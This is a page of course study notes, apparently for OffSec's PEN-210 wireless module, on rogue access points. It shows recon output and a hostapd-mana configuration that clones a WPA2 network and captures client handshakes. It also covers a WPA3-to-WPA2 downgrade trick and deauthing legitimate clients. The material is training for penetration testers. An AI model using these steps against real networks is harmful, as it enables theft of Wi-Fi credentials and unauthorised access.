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    • Hack The Box
      • Bug Bounty Hunter
        • Module 1: Web Requests
        • Module 2: Introduction to Web Applications
        • Module 3: Using Web Proxies
        • Module 4: Information Gathering - Web Edition
        • Module 5: Attacking Web Applications with Ffuf
        • Module 6: JavaScript Deobfuscation
        • Module 7: Cross-Site Scripting (XSS)
        • Module 8: SQL Injection Fundamentals
        • Module 9: SQLMap Essentials
        • Module 10: Command Injections
        • Module 11: File Upload Attacks
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        • Module 13: Login Brute Forcing
        • Module 14: Broken Authentication
        • Module 15: Web Attacks
        • Module 16: File Inclusion
        • Module 17: Session Security
        • Module 18: Web Service & API Attacks
        • Module 19: Hacking Wordpress
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    • OffSec
      • 🦊EXP-301
        • Module 1: Windows User Mode Exploit Development: General Course Information
        • Module 2: WinDbg and x86 Architecture
        • Module 3: Exploiting Stack Overflows
        • Module 4: Exploiting SEH Overflows
        • Module 5: Introduction to IDA Pro
        • Module 6: Overcoming Space Restrictions: Egghunters
        • Module 7: Creating Custom Shellcode
        • Module 8: Reverse Engineering for Bugs
        • Module 9: Stack Overflows and DEP Bypass
        • Module 10: Stack Overflows and ASLR Bypass
        • Module 11: Format String Specifier Attack Part I
        • Module 12: Format String Specifier Attack Part II
        • Module 13: Trying Harder: The Labs
      • 🐙EXP-312
        • Module 1: macOS Control Bypasses: General Course Information
        • Module 2: Virtual Machine Setup Guide
        • Module 3: Introduction to macOS
        • Module 4: macOS Binary Analysis Tools
        • Module 5: The Art of Crafting Shellcodes
        • Module 6: The Art of Crafting Shellcodes (Apple Silicon Edition)
        • Module 7: Dylib Injection
        • Module 8: The Mach Microkernel
        • Module 9: XPC Attacks
        • Module 10: Function Hooking on macOS
        • Module 11: The macOS Sandbox
        • Module 12: Bypassing Transparency, Consent, and Control (Privacy)
        • Module 13: GateKeeper Internals
        • Module 14: Bypassing GateKeeper
        • Module 15: Symlink and Hardlink Attacks
        • Module 16: Injecting Code into Electron Applications
        • Module 17: Getting Kernel Code Execution
        • Module 18: Mach IPC Exploitation
        • Module 19: macOS Penetration Testing
        • Module 20: Chaining Exploits on macOS Ventura
        • Module 21: Mount(ain) of Bugs (archived)
      • ⚓IR-200
        • Module 1: Incident Response Overview
        • Module 2: Fundamentals of Incident Response
        • Module 3: Phases of Incident Response
        • Module 4: Incident Response Communication Plans
        • Module 5: Common Attack Techniques
        • Module 6: Incident Detection and Identification
        • Module 7: Initial Impact Assessment
        • Module 8: Digital Forensics for Incident Responders
        • Module 9: Incident Response Case Management
        • Module 10: Active Incident Containment
        • Module 11: Incident Eradication and Recovery
        • Module 12: Post-Mortem Reporting
        • Module 13: Incident Response Challenge Labs
      • 🐉PEN-103
      • 🐲PEN-200
        • Module 1: Copyright
        • Module 2: Penetration Testing with Kali Linux: General Course Information
        • Module 3: Introduction to Cybersecurity
        • Module 4: Effective Learning Strategies
        • Module 5: Report Writing for Penetration Testers
        • Module 6: Information Gathering
        • Module 7: Vulnerability Scanning
        • Module 8: Introduction to Web Application Attacks
        • Module 9: Common Web Application Attacks
        • Module 10: SQL Injection Attacks
        • Module 11: Client-side Attacks
        • Module 12: Locating Public Exploits
        • Module 13: Fixing Exploits
        • Module 14: Antivirus Evasion
        • Module 15: Password Attacks
        • Module 16: Windows Privilege Escalation
        • Module 17: Linux Privilege Escalation
        • Module 18: Port Redirection and SSH Tunneling
        • Module 19: Tunneling Through Deep Packet Inspection
        • Module 20: The Metasploit Framework
        • Module 21: Active Directory Introduction and Enumeration
        • Module 22: Attacking Active Directory Authentication
        • Module 23: Lateral Movement in Active Directory
        • Module 24: Enumerating AWS Cloud Infrastructure
        • Module 25: Attacking AWS Cloud Infrastructure
        • Module 26: Assembling the Pieces
        • Module 27: Trying Harder: The Challenge Labs
      • 🛜PEN-210
        • Module 1: IEEE 802.11
        • Module 2: Wireless Networks
        • Module 3: Wi-Fi Encryption
        • Module 4: Linux Wireless Tools, Drivers, and Stacks
        • Module 5: Wireshark Essentials
        • Module 6: Frames and Network Interaction
        • Module 7: Aircrack-ng Essentials
        • Module 8: Cracking Authentication Hashes
        • Module 9: Attacking WPS Networks
        • Module 10: Rogue Access Points
        • Module 11: Attacking Captive Portals
        • Module 12: Attacking WPA Enterprise
        • Module 13: bettercap Essentials
        • Module 14: Determining Chipsets and Drivers
        • Module 15: Kismet Essentials
        • Module 16: Manual Network Connections
      • 🔗PEN-300
        • Module 1: Evasion Techniques and Breaching Defenses: General Course Information
        • Module 2: Operating System and Programming Theory
        • Module 3: Client Side Code Execution With Office
        • Module 4: Phishing with Microsoft Office
        • Module 5: Client Side Code Execution With Windows Script Host
        • Module 6: Reflective PowerShell
        • Module 7: Process Injection and Migration
        • Module 8: Introduction to Antivirus Evasion
        • Module 9: Advanced Antivirus Evasion
        • Module 10: Application Whitelisting
        • Module 11: Bypassing Network Filters
        • Module 12: Linux Post-Exploitation
        • Module 13: Kiosk Breakouts
        • Module 14: Windows Credentials
        • Module 15: Windows Lateral Movement
        • Module 16: Linux Lateral Movement
        • Module 17: Microsoft SQL Attacks
        • Module 18: Active Directory Exploitation
        • Module 19: Attacking Active Directory
        • Module 20: Combining the Pieces
        • Module 21: Trying Harder: The Labs
      • ⚛️SEC-100
      • 🛡️SOC-200
        • Module 1: Introduction to SOC-200
        • Module 2: Attacker Methodology Introduction
        • Module 3: Windows Endpoint Introduction
        • Module 4: Windows Server Side Attacks
        • Module 5: Windows Client-Side Attacks
        • Module 6: Windows Privilege Escalation
        • Module 7: Windows Persistence
        • Module 8: Linux Endpoint Introduction
        • Module 9: Linux Server Side Attacks
        • Module 10: Linux Privilege Escalation
        • Module 11: Network Detections
        • Module 12: Antivirus Alerts and Evasion
        • Module 13: Active Directory Enumeration
        • Module 14: Network Evasion and Tunneling
        • Module 15: Windows Lateral Movement
        • Module 16: Active Directory Persistence
        • Module 17: SIEM Part One: Intro to ELK
        • Module 18: SIEM Part Two: Combining the Logs
        • Module 19: Trying Harder: The Labs
      • TH-200
        • Module 1: Threat Hunting Concepts and Practices
        • Module 2: Threat Actor Landscape Overview
        • Module 3: Communication and Reporting for Threat Hunters
        • Module 4: Hunting With Network Data
        • Module 5: Hunting on Endpoints
        • Module 6: Theat Hunting Without IoCs
        • Module 7: Threat Hunting Challenge Labs
      • 🦉WEB-200
        • Module 1: Introduction to WEB-200
        • Module 2: Tools (archived)
        • Module 3: Web Application Enumeration Methodology
        • Module 4: Introduction to Burp Suite
        • Module 5: Cross-Site Scripting Introduction and Discovery
        • Module 6: Cross-Site Scripting Exploitation and Case Study
        • Module 7: Cross-Origin Attacks
        • Module 8: Introduction to SQL
        • Module 9: SQL Injection
        • Module 10: Directory Traversal Attacks
        • Module 11: XML External Entities
        • Module 12: Server-side Template Injection - Discovery and Exploitation
        • Module 13: Command Injection
        • Module 14: Server-side Request Forgery
        • Module 15: Insecure Direct Object Referencing
        • Module 16: Assembling the Pieces: Web Application Assessment Breakdown
      • 🕷️WEB-300
        • Module 1: Introduction
        • Module 2: Tools & Methodologies
        • Module 3: ManageEngine Applications Manager AMUserResourcesSyncServlet SSQL Injection RCE
        • Module 4: DotNetNuke Cookie Deserialization RCE
        • Module 5: ERPNext Authentication Bypass and Remote Code Execution
        • Module 6: openCRX Authentication Bypass and Remote Code Execution
        • Module 7: openITCOCKPIT XSS and OS Command Injection - Blackbox
        • Module 8: Concord Authentication Bypass to RCE
        • Module 9: Server-Side Request Forgery
        • Module 10: Guacamole Lite Prototype Pollution
        • Module 11: Dolibarr Eval Filter Bypass RCE
        • Module 12: RudderStack SQLi and Coraza WAF Bypass
        • Module 13: Conclusion
        • Module 14: ATutor Authentication Bypass and RCE (archived)
        • Module 15: ATutor LMS Type Juggling Vulnerability (archived)
        • Module 16: Atmail Mail Server Appliance: from XSS to RCE (archived)
        • Module 17: Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability (archived)
    • SANS
      • FOR572
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On this page
  • The Basics of Rogue APs
  • Discovery
  • Creating a Rogue AP
  • Building the hostapd-mana Configuration
  • Capturing Handshakes
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  1. Courses
  2. OffSec
  3. PEN-210

Module 10: Rogue Access Points

The Basics of Rogue APs

Use a Rogue AP with an identical SSID to have a device reference its Preferred Network List (PNL) and try to connect to your AP with the legitimate PSK.

Discovery

Conduct recon to gather information about the AP you'll be maliciously mirroring.

kali@kali:~$ sudo airodump-ng -w discovery --output-format pcap wlan0mon
 CH 12 ][ Elapsed: 0 s ][ 2020-08-14 16:23 

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 CD:C2:25:9A:47:BA  -45        3        2    0   6  195   WPA2 CCMP   MGT  Sarajevo
 94:36:45:CA:71:61  -46        3        4    0   6  195   WPA2 CCMP   PSK  Zagreb
 FC:7A:2B:88:63:EF  -53        5        0    0   1  130   WPA2 CCMP   PSK  Mostar
 1E:E1:3E:95:52:7D  -87        2        0    0  11  130   OPN              Budva
 85:28:13:AE:50:5C  -91        3        0    0  11  130   WPA2 CCMP   PSK  Beograd

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 94:36:45:CA:71:61  E6:D9:90:B0:B2:4C  -54    0 - 0e     0        2
 94:36:45:CA:71:61  05:E3:5B:E6:D9:A4  -73    0e-54      0        2
 85:28:13:AE:50:5C  E6:DE:B9:2A:56:83  -91    0 - 5e   487        6
 CD:C2:25:9A:47:BA  98:D5:95:6D:25:77  -37    0 - 1e     0        2
 (not associated)   A7:AD:4A:2B:5E:ED  -54    0 - 1      3        9         Yugoslavia
 FC:7A:2B:88:63:EF  FE:5C:F4:2B:D4:3E  -48    0 - 6      0        1

The above example lets us know Mostar is a WPA2-PSK network with CCMP. It runs at 130 Mbit, and is on channel 1.

Creating a Rogue AP

Building the hostapd-mana Configuration

The simplest configuration for hsotapd-mana:

kali@kali:~$ cat Mostar-mana.conf
interface=wlan0
ssid=Mostar
channel=1

Adding hw_mode to the config file:

kali@kali:~$ cat Mostar-mana.conf
interface=wlan0
ssid=Mostar
channel=1
hw_mode=g
ieee80211n=1

Adding security configuration:

kali@kali:~$ cat Mostar-mana.conf
interface=wlan0
ssid=Mostar
channel=1
hw_mode=g
ieee80211n=1
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_passphrase=ANYPASSWORD
wpa_pairwise=TKIP CCMP
rsn_pairwise=TKIP CCMP

Final Mostar-mana.conf:

kali@kali:~$ cat Mostar-mana.conf
interface=wlan0
ssid=Mostar
channel=1
hw_mode=g
ieee80211n=1
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_passphrase=ANYPASSWORD
wpa_pairwise=TKIP
rsn_pairwise=TKIP CCMP
mana_wpaout=/home/kali/mostar.hccapx

At the writing of this module, it is not possible to crack WPA3. However, when we encounter APs with WPA3, we may be able to trick clients into downgrading to a WPA2 connection, allowing us to capture a crackable handshake. We can accomplish this by creating an AP with only WPA2 and 802.11w set to "optional". WPA3 use the same algorithms as WPA2 CCMP, and requires 802.11w.

If 802.11w is disabled, a client may never try to connect, but WPA2 clients rarely use it (and sometimes don't handle it well). The combination of only using WPA2 and 802.11w set to "optional" will gives us the highest chance that a client will be willing to downgrade.

To achieve this in the hostapd configuration, the wpa value should be set to "2", there shouldn't be a wpa_pairwise parameter, and rsn_pairwise should be set to "CCMP" only. To enable 802.11w, we would set ieee80211w as a new parameter with the value of "1" (indicating it is optional). This also requires that we add "WPA-PSK-SHA256" to wpa_key_mgmt.

Capturing Handshakes

Starting hostapd-mana to capture handshakes:

kali@kali:~$ sudo hostapd-mana Mostar-mana.conf 
Configuration file: Mostar-mana.conf
MANA: Captured WPA/2 handshakes will be written to file 'mostar.hccapx'.
Using interface wlan0 with hwaddr 2e:0b:05:98:f8:66 and ssid "Mostar"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED 
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e

To help client devices connect to your rogue AP, consider sending deauths to the legitimate AP's clients.

PreviousModule 9: Attacking WPS NetworksNextModule 11: Attacking Captive Portals

Last updated 7 months ago

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